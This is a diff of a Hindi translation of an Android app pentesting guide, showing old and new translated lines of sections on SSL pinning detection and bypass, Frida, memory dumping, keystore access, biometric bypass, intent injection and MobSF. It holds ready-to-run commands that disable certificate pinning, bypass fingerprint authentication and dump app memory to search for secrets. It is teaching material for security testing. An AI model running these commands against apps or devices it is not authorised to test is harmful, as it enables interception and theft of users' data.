Runtime bypasses का प्रयास करने से पहले तेज़ी से मैप करें कि APK में कहाँ pinning लागू है। Static discovery आपको hooks/patches की योजना बनाने और सही code paths पर ध्यान केंद्रित करने में मदद करता है।
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
||||
- Reports exact file path, line number, and a code snippet for each match.
|
||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
- Open-source static-analysis utility है जो APK को Smali में decompile करता है (via apktool) और SSL/TLS pinning implementations के curated regex patterns के लिए scan करता है।
|
||||
- प्रत्येक मिलान के लिए exact file path, line number, और एक code snippet रिपोर्ट करता है।
|
||||
- सामान्य frameworks और custom code paths को कवर करता है: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, और Network Security Config XML pins।
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
@ -464,9 +464,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
उदाहरण पैटर्न नियम (JSON)
|
||||
|
||||
signatures का उपयोग करें या उन्हें बढ़ाएँ ताकि proprietary/custom pinning styles का पता लगाया जा सके। आप अपना JSON लोड करके बड़े पैमाने पर स्कैन कर सकते हैं।
|
||||
Example pattern rules (JSON)
|
||||
प्रोप्रायटरी/कस्टम pinning शैलियों का पता लगाने के लिए signatures का उपयोग करें या इन्हें बढ़ाएँ। आप अपना JSON लोड करके बड़े पैमाने पर scan कर सकते हैं।
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -480,41 +479,41 @@ signatures का उपयोग करें या उन्हें बढ
|
||||
]
|
||||
}
|
||||
```
|
||||
Notes and tips
|
||||
- बड़े ऐप्स पर तेज़ स्कैनिंग के लिए multi-threading और memory-mapped I/O का उपयोग करें; pre-compiled regex overhead/false positives कम करता है।
|
||||
नोट्स और टिप्स
|
||||
- बड़े ऐप्स पर तेज़ स्कैनिंग के लिए multi-threading और memory-mapped I/O का उपयोग करें; pre-compiled regex से overhead और false positives कम होते हैं।
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- अगले ट्रायेज के लिए सामान्य detection targets:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- अगले ट्रायएज के लिए सामान्य detection targets:
|
||||
- OkHttp: CertificatePinner का उपयोग, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config और manifest references
|
||||
- मैच हुई लोकेशन्स का उपयोग Frida hooks, static patches, या config reviews की योजना बनाने के लिए करें, जिससे dynamic testing से पहले काम आसान हो।
|
||||
- Declarative pins res/xml में network security config और manifest references
|
||||
- मैचे हुए लोकेशनों का उपयोग Frida hooks, static patches, या config reviews प्लान करने के लिए करें, dynamic testing से पहले।
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
जब SSL Pinning लागू होता है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे bypass करना आवश्यक हो जाता है। इसके लिए कई तरीके उपलब्ध हैं:
|
||||
जब SSL Pinning लागू होता है, HTTPS ट्रैफिक निरीक्षण करने के लिए इसे bypass करना आवश्यक हो जाता है। इसके लिए कई तरीके उपलब्ध हैं:
|
||||
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). इस विकल्प का सबसे बड़ा फायदा यह है कि आपको SSL Pinning bypass करने के लिए root की ज़रूरत नहीं पड़ेगी, लेकिन आपको एप्लिकेशन को डिलीट करके नया इंस्टॉल करना होगा, और यह हर बार काम नहीं करेगा।
|
||||
- आप इस प्रोटेक्शन को bypass करने के लिए **Frida** (नीचे चर्चा की गई) का उपयोग कर सकते हैं। Burp+Frida+Genymotion उपयोग करने का गाइड यहाँ है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- आप [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` का उपयोग करके SSL Pinning को automatically bypass करने की कोशिश भी कर सकते हैं।
|
||||
- आप **MobSF dynamic analysis** (नीचे समझाया गया) का उपयोग करके भी SSL Pinning को automatically bypass करने का प्रयास कर सकते हैं।
|
||||
- अगर आपको लगता है कि कुछ ट्रैफ़िक आप पकड़ नहीं पा रहे हैं तो आप ट्रैफ़िक को burp पर forward करने के लिए iptables का उपयोग कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). इस विकल्प का सबसे बड़ा फायदा यह है कि SSL Pinning bypass करने के लिए root की जरूरत नहीं होगी, लेकिन आपको एप्लिकेशन को डिलीट करके नया इंस्टॉल करना होगा, और यह हमेशा काम नहीं करेगा।
|
||||
- आप **Frida** (नीचे बताया गया) का उपयोग करके इस प्रोटेक्शन को bypass कर सकते हैं। Burp+Frida+Genymotion उपयोग करने की गाइड यहाँ है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- आप [**objection**](frida-tutorial/objection-tutorial.md) का उपयोग करके SSL Pinning को ऑटोमैटिकली bypass करने की कोशिश भी कर सकते हैं:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- आप MobSF dynamic analysis (नीचे समझाया गया) का उपयोग करके SSL Pinning को ऑटोमैटिकली bypass करने की कोशिश भी कर सकते हैं
|
||||
- यदि आपको लगता है कि अभी भी कुछ ट्रैफिक कैप्चर नहीं हो रहा है, तो आप iptables का उपयोग करके ट्रैफिक को Burp पर forward करने की कोशिश कर सकते हैं। पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
|
||||
एप्लिकेशन के अंदर सामान्य वेब कमजोरियों की तलाश भी महत्वपूर्ण है। इन कमजोरियों की पहचान और उनका निवारण करने के विस्तृत विवरण इस सारांश के दायरे से बाहर है, लेकिन अन्यत्र व्यापक रूप से कवर किया गया है।
|
||||
ऐप के अंदर सामान्य web vulnerabilities की खोज करना भी महत्वपूर्ण है। इन vulnerabilities की पहचान और निवारण पर विस्तृत जानकारी इस सारांश के दायरे से बाहर है लेकिन कहीं और व्यापक रूप से कवर की गई है।
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) developers, reverse-engineers, और security researchers के लिए एक dynamic instrumentation toolkit है.\
|
||||
**आप running application तक पहुँच सकते हैं और रन-टाइम पर methods को hook करके व्यवहार बदल सकते हैं, values बदल सकते हैं, values extract कर सकते हैं, अलग code चला सकते हैं...**\
|
||||
अगर आप Android applications को pentest करना चाहते हैं तो आपको Frida का उपयोग करना आना चाहिए।
|
||||
[Frida](https://www.frida.re) developers, reverse-engineers, और security researchers के लिए एक dynamic instrumentation toolkit है।\
|
||||
**आप running application तक पहुँचकर run time पर methods को hook कर सकते हैं ताकि behaviour बदलें, values बदलें/निकाले, अलग code चलाएँ...**\
|
||||
यदि आप Android applications का pentest करना चाहते हैं तो आपको Frida का उपयोग करना आना चाहिए।
|
||||
|
||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Frida सीखने के लिए: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Frida के साथ actions के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection Frida के उपयोग को automate करने के लिए अच्छा है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- कुछ Awesome Frida scripts यहाँ मिल सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- anti-debugging / anti-frida mechanisms को bypass करने की कोशिश करें, Frida को वैसा लोड करके जैसा यहाँ बताया गया है: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
- कुछ Awesome Frida scripts यहाँ मिलेंगी: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- anti-debugging / anti-frida mechanisms को bypass करने के लिए Frida को इस तरह load करने की कोशिश करें जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में बताया गया है (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
@ -524,9 +523,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
जाँचें कि क्या एप्लिकेशन मेमोरी के अंदर संवेदनशील जानकारी स्टोर कर रहा है जिसे उसे स्टोर नहीं करना चाहिए, जैसे passwords या mnemonics।
|
||||
जाँचें कि क्या application मेमोरी में संवेदनशील जानकारी रख रहा है जो उसे नहीं रखनी चाहिए, जैसे passwords या mnemonics।
|
||||
|
||||
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
|
||||
Fridump3 का उपयोग कर आप ऐप की मेमोरी dump कर सकते हैं:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -535,78 +534,76 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
यह ./dump फ़ोल्डर में memory dump करेगा, और वहां आप कुछ इस तरह grep कर सकते हैं:
|
||||
यह मेमोरी ./dump फ़ोल्डर में dump कर देगा, और वहाँ आप कुछ इस तरह grep कर सकते हैं:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore में संवेदनशील डेटा**
|
||||
|
||||
Android में Keystore संवेदनशील डेटा स्टोर करने के लिए सबसे अच्छा स्थान है, हालांकि पर्याप्त privileges होने पर इसमें अभी भी **इस तक पहुँच संभव है**।
|
||||
Android में Keystore संवेदनशील डेटा स्टोर करने के लिए सबसे अच्छा स्थान है, लेकिन पर्याप्त privileges होने पर इसे अभी भी **access करना संभव** है। चूँकि applications यहाँ अक्सर **sensitive data in clear text** स्टोर करती हैं, इसलिए pentests को इसे root user के रूप में या किसी के पास फिजिकल पहुँच होने पर जांचना चाहिए क्योंकि वे इस डेटा को चुरा सकते हैं।
|
||||
|
||||
कई एप्लिकेशन यहाँ **स्पष्ट टेक्स्ट में संवेदनशील डेटा** स्टोर करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे चेक करना चाहिए क्योंकि root user या किसी के पास physical access होने पर वे यह डेटा चुरा सकते हैं।
|
||||
भले ही कोई app डेटा को keystore में स्टोर करे, वह डेटा एन्क्रिप्टेड होना चाहिए।
|
||||
|
||||
भले ही कोई app keystore में डेटा स्टोर करे, डेटा एन्क्रिप्टेड होना चाहिए।
|
||||
|
||||
keystore के अंदर के डेटा तक पहुँचने के लिए आप यह Frida script उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Keystore के अंदर मौजूद डेटा तक पहुँचने के लिए आप इस Frida script का उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके संभवतः Android एप्लिकेशन द्वारा **bypass fingerprint authentication** को लागू करके **कुछ संवेदनशील क्षेत्रों की रक्षा** के लिए किए जा रहे उपायों को दरकिनार किया जा सकता है:
|
||||
निम्नलिखित Frida script का उपयोग करके Android applications में कुछ संवेदनशील हिस्सों की सुरक्षा के लिए लागू किए गए authentication को **bypass fingerprint authentication** किया जा सकता है:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **पृष्ठभूमि छवियाँ**
|
||||
|
||||
जब आप किसी application को background में डालते हैं, Android एक **snapshot of the application** स्टोर करता है ताकि जब इसे foreground में लौटाया जाए तो यह app के बजाय पहले image लोड करना शुरू कर दे और ऐसा लगे कि ऐप तेज़ी से लोड हुआ।
|
||||
जब आप किसी ऐप को बैकग्राउंड में रखते हैं, Android उस ऐप का **snapshot of the application** स्टोर करता है ताकि जब वह फ़ोरग्राउंड में वापस लाया जाए तो यह ऐप से पहले इमेज लोड करना शुरू कर दे और ऐसा लगे कि ऐप तेज़ी से लोड हुआ।
|
||||
|
||||
हालाँकि, यदि यह **snapshot** में **संवेदनशील जानकारी** होती है, तो snapshot तक पहुँच रखने वाला कोई व्यक्ति उस जानकारी को चुरा सकता है (ध्यान दें कि इसे एक्सेस करने के लिए आपको root की आवश्यकता होती है)।
|
||||
हालाँकि, यदि इस snapshot में **sensitive information** मौजूद है, तो snapshot तक पहुँच रखने वाला कोई भी व्यक्ति **steal that info** कर सकता है (ध्यान दें कि इसे एक्सेस करने के लिए root चाहिए)।
|
||||
|
||||
Snapshots आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
Snapshots सामान्यतः यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android एक तरीका प्रदान करता है कि **FLAG_SECURE** layout parameter सेट करके screenshot capture को रोका जा सके। इस flag का इस्तेमाल करने पर, window की सामग्री को secure माना जाता है, जिससे यह screenshots में दिखाई देने या गैर‑सुरक्षित displays पर दिखने से रोका जाता है।
|
||||
Android स्क्रीनशॉट कैप्चर को रोकने का एक तरीका प्रदान करता है: **स्क्रीनशॉट कैप्चर को रोकने के लिए FLAG_SECURE सेट करना**। इस फ्लैग का उपयोग करने पर विंडो की सामग्री को सुरक्षित माना जाता है, जिससे वह स्क्रीनशॉट में दिखाई नहीं देती और गैर‑सुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
|
||||
यह टूल डायनामिक विश्लेषण के दौरान विभिन्न tools को मैनेज करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
यह टूल डायनामिक विश्लेषण के दौरान विभिन्न उपकरणों को प्रबंधित करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Developers अक्सर activities, services, और broadcast receivers जैसे proxy components बनाते हैं जो इन Intents को हैंडल करते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसी methods को पास कर देते हैं, जो जोखिमपूर्ण हो सकता है।
|
||||
डेवलपर्स अक्सर activities, services, और broadcast receivers जैसे proxy components बनाते हैं जो इन Intents को हैंडल करते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसी मेथड्स को पास कर देते हैं, जो जोखिम भरा हो सकता है।
|
||||
|
||||
खतरा तब होता है जब attackers इन Intents को misdirect करके non-exported app components को trigger कर पाते हैं या sensitive content providers तक पहुँच बना लेते हैं। एक प्रमुख उदाहरण `WebView` component है जो URLs को `Intent.parseUri(...)` के ज़रिये `Intent` objects में बदलता है और उन्हें execute करता है, जिससे malicious Intent injections संभव हो सकते हैं।
|
||||
खतरा इस बात में है कि attackers को इन Intents को गलत दिशा देकर non-exported app components को ट्रिगर करने या sensitive content providers तक पहुँचने की अनुमति मिल सकती है। एक उल्लेखनीय उदाहरण है `WebView` component द्वारा URLs को `Intent` objects में `Intent.parseUri(...)` के माध्यम से कन्वर्ट करना और फिर उन्हें execute करना, जो संभावित रूप से malicious Intent injections का कारण बन सकता है।
|
||||
|
||||
### Essential Takeaways
|
||||
### आवश्यक निष्कर्ष
|
||||
|
||||
- **Intent Injection** web के Open Redirect issue जैसा है।
|
||||
- Exploits में `Intent` objects को extras के रूप में पास करना शामिल है, जिन्हें redirect करके unsafe operations execute किए जा सकते हैं।
|
||||
- यह non-exported components और content providers को attackers के लिए उजागर कर सकता है।
|
||||
- `WebView` की URL से `Intent` conversion अनिच्छित क्रियाओं को आसान बना सकती है।
|
||||
- Exploits में `Intent` objects को extras के रूप में पास करना शामिल है, जिन्हें redirect करके unsafe operations को execute कराया जा सकता है।
|
||||
- यह non-exported components और content providers को attackers के सामने उजागर कर सकता है।
|
||||
- `WebView` द्वारा URL से `Intent` में conversion अनिच्छित actions की सुविधा प्रदान कर सकता है।
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
संभवतः आप Web से इस तरह की vulnerabilities को जानते होंगे। Android application में इन vulnerabilities के साथ विशेष सावधानी बरतनी चाहिए:
|
||||
शायद आप वेब में इस तरह की vulnerabilities के बारे में जानते होंगे। Android application में इन vulnerabilities के साथ विशेष सावधानी बरतनी चाहिए:
|
||||
|
||||
- **SQL Injection:** जब dynamic queries या Content-Providers से काम कर रहे हों तो सुनिश्चित करें कि आप parameterized queries का उपयोग कर रहे हैं।
|
||||
- **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और Plugin support disabled हो (default में disabled)। [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews का file system access disabled होना चाहिए (default में enabled) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: कई मामलों में जब Android application session समाप्त करता है, cookie revoke नहीं होती या disk पर भी save हो सकती है
|
||||
- **SQL Injection:** जब dynamic queries या Content-Providers के साथ काम कर रहे हों तो सुनिश्चित करें कि आप parameterized queries का उपयोग कर रहे हैं।
|
||||
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews को file system तक access disabled होना चाहिए (डिफ़ॉल्ट रूप से enabled) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: कई मामलों में जब the android application सेशन खत्म करता है तो cookie revoke नहीं होता या यह disk पर भी saved हो सकता है
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Automatic Analysis
|
||||
## स्वचालित विश्लेषण
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
**Static analysis**
|
||||
**स्टैटिक विश्लेषण**
|
||||
|
||||
.png>)
|
||||
|
||||
**Vulnerability assessment of the application** एक आकर्षक web-based frontend के माध्यम से करता है। आप dynamic analysis भी कर सकते हैं (पर आपको environment तैयार करना होगा)।
|
||||
**एप्लिकेशन का vulnerability आकलन** एक अच्छा web-based frontend उपयोग करके किया जाता है। आप डायनामिक विश्लेषण भी कर सकते हैं (लेकिन आपको environment तैयार करना होगा)।
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -618,39 +615,39 @@ MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** Android में **dynamic analysis** के लिए भी बहुत उपयोगी हो सकता है, लेकिन उस मामले में आपको अपने होस्ट पर MobSF और **genymotion** इंस्टॉल करने की आवश्यकता होगी (VM या Docker काम नहीं करेगा)। _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
**MobSF** मोबाइल में **dynamic analysis** के लिए भी बहुत मददगार हो सकता है, लेकिन इस मामले में आपको अपने होस्ट पर MobSF और **genymotion** इंस्टॉल करना होगा (VM या Docker काम नहीं करेगा)। _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
**MobSF dynamic analyser** निम्न कर सकता है:
|
||||
|
||||
- **Dump application data**: (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files)। ये सब ऑटोमैटिकली किया जाता है सिवाय screenshots के — screenshots के लिए आपको तब प्रेस करना होगा जब आप screenshot लेना चाहें या "**Exported Activity Tester**" दबाकर सभी exported activities के screenshots हासिल कर सकते हैं।
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). इन सब को स्वचालित रूप से किया जाता है सिवाय screenshots के — स्क्रीनशॉट लेने के लिए आपको उस समय दबाना होगा जब आप स्क्रीनशॉट चाहते हैं या सभी exported activities के स्क्रीनशॉट प्राप्त करने के लिए "**Exported Activity Tester**" दबाना होगा।
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
android के **versions > 5** से, यह **automatically start Frida** करेगा और ट्रैफ़िक capture करने के लिए global **proxy** settings सेट कर देगा। यह केवल टेस्ट किए जा रहे application का ट्रैफ़िक ही capture करेगा।
|
||||
android **versions > 5** से, यह **स्वतः Frida शुरू** कर देगा और ट्रैफिक पकड़ने के लिए global **proxy** सेटिंग्स करेगा। यह केवल टेस्ट की जा रही application से ट्रैफिक ही capture करेगा।
|
||||
|
||||
**Frida**
|
||||
|
||||
डिफ़ॉल्ट रूप से, यह कुछ Frida Scripts भी उपयोग करेगा ताकि **SSL pinning** को bypass किया जा सके, **root detection** और **debugger detection** को बायपास किया जा सके और **interesting APIs** की निगरानी की जा सके।\
|
||||
MobSF exported activities को invoke भी कर सकता है, उनके **screenshots** ले सकता है और रिपोर्ट के लिए उन्हें **save** कर सकता है।
|
||||
By default, यह कुछ Frida Scripts भी उपयोग करेगा ताकि **SSL pinning**, **root detection** और **debugger detection** को bypass किया जा सके और **interesting APIs** की निगरानी की जा सके।\
|
||||
MobSF **invoke exported activities** भी कर सकता है, उनका **screenshots** ले सकता है और रिपोर्ट के लिए उन्हें **save** कर सकता है।
|
||||
|
||||
डायनामिक टेस्ट शुरू करने के लिए हरे बटन पर प्रेस करें: "**Start Instrumentation**". "**Frida Live Logs**" दबाकर आप Frida scripts द्वारा जनरेट किए गए logs देख सकते हैं और "**Live API Monitor**" दबाकर आप hooked methods के सभी invocation, पास किए गए arguments और returned values देख सकते हैं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपने खुद के **Frida scripts** लोड करने की भी अनुमति देता है (अपने Frida scripts के परिणाम MobSF को भेजने के लिए `send()` function का उपयोग करें)। इसके साथ कई pre-written scripts भी आते हैं जिन्हें आप लोड कर सकते हैं (आप और जोड़ सकते हैं `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में), बस उन्हें **select** करें, "**Load**" दबाएं और "**Start Instrumentation**" दबाएं (आप उन scripts के logs "**Frida Live Logs**" के अंदर देख पाएंगे)।
|
||||
डायनामिक टेस्टिंग शुरू करने के लिए हरे बटन पर प्रेस करें: "**Start Instrumentation**". "**Frida Live Logs**" पर प्रेस करके आप Frida scripts द्वारा जनरेट किए गए logs देख सकते हैं और "**Live API Monitor**" पर जाकर hooked methods, पास किए गए arguments और returned values देख सकते हैं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपने **Frida scripts** भी लोड करने की अनुमति देता है (अपने Frida scripts के results को MobSF को भेजने के लिए `send()` function का उपयोग करें)। इसमें कई **pre-written scripts** भी होते हैं जिन्हें आप लोड कर सकते हैं (आप और scripts `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में जोड़ सकते हैं), बस उन्हें **select** करें, "**Load**" दबाएँ और "**Start Instrumentation**" दबाएँ (आप उन scripts के logs "**Frida Live Logs**" के अंदर देख पाएँगे)।
|
||||
|
||||
.png>)
|
||||
|
||||
इसके अलावा, कुछ Auxiliary Frida सुविधाएं भी हैं:
|
||||
इसके अलावा, आपके पास कुछ Auxiliary Frida functionalities हैं:
|
||||
|
||||
- **Enumerate Loaded Classes**: यह सभी loaded classes को print करेगा
|
||||
- **Capture Strings**: एप्लिकेशन उपयोग करते समय सभी captured strings को print करेगा (बहुत noisy)
|
||||
- **Capture String Comparisons**: बहुत उपयोगी हो सकता है। यह **show the 2 strings being compared** करेगा और बताएगा कि result True था या False।
|
||||
- **Enumerate Class Methods**: क्लास का नाम डालें (जैसे "java.io.File") और यह उस क्लास के सभी methods print करेगा।
|
||||
- **Search Class Pattern**: pattern से classes खोजें
|
||||
- **Trace Class Methods**: किसी पूरी क्लास को **Trace** करें (क्लास के सभी methods के inputs और outputs देखें)। ध्यान रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android Api methods को trace करता है।
|
||||
- **Enumerate Loaded Classes**: यह सभी loaded classes प्रिंट करेगा
|
||||
- **Capture Strings**: application का उपयोग करते हुए सभी capture strings प्रिंट करेगा (बहुत noisy)
|
||||
- **Capture String Comparisons**: बहुत उपयोगी हो सकता है। यह **दोनों strings जो compare हो रही हैं** दिखाएगा और परिणाम True या False था या नहीं।
|
||||
- **Enumerate Class Methods**: क्लास का नाम डालें (जैसे "java.io.File") और यह क्लास के सभी methods प्रिंट कर देगा।
|
||||
- **Search Class Pattern**: pattern द्वारा classes खोजें
|
||||
- **Trace Class Methods**: किसी **पूरी class** को **trace** करें (क्लास के सभी methods के inputs और outputs देखें)। ध्यान रखें कि default में MobSF कई दिलचस्प Android API methods को trace करता है।
|
||||
|
||||
एक बार जब आप वह auxiliary module चुन लें जिसे आप उपयोग करना चाहते हैं, तो आपको "**Start Intrumentation**" दबाना होगा और आप सभी outputs "**Frida Live Logs**" में देखेंगे।
|
||||
एक बार जब आपने वह auxiliary module चुन लिया है जो आप उपयोग करना चाहते हैं, तो आपको "**Start Intrumentation**" दबाना होगा और आप सभी outputs "**Frida Live Logs**" में देखेंगे।
|
||||
|
||||
**Shell**
|
||||
|
||||
MobSF आपको dynamic analysis पेज के नीचे कुछ **adb** commands, **MobSF commands**, और सामान्य **shell commands** के साथ एक shell भी देता है। कुछ दिलचस्प commands:
|
||||
MobSF डायनामिक analysis पेज के नीचे कुछ **adb** commands, **MobSF commands**, और सामान्य **shell** **commands** के साथ एक shell भी प्रदान करता है। कुछ रोचक commands:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -661,13 +658,13 @@ receivers
|
||||
```
|
||||
**HTTP tools**
|
||||
|
||||
जब http ट्रैफ़िक कैप्चर होता है तो आप कैप्चर किए गए ट्रैफ़िक का एक खराब व्यू "**HTTP(S) Traffic**" बॉटम पर देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर व्यू। दूसरी विकल्प से, आप **send** करके **captured requests** को **proxies** जैसे Burp या Owasp ZAP में भेज सकते हैं.\
|
||||
ऐसा करने के लिए, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> दबाएँ "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
|
||||
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF के साथ dynamic analysis समाप्त करने के बाद आप "**Start Web API Fuzzer**" दबाकर **fuzz http requests** करके कमजोरियों की खोज कर सकते हैं।
|
||||
MobSF के साथ dynamic analysis पूरा करने के बाद आप "**Start Web API Fuzzer**" दबाकर **fuzz http requests** कर सकते हैं और vulnerabilities की तलाश कर सकते हैं।
|
||||
|
||||
> [!TIP]
|
||||
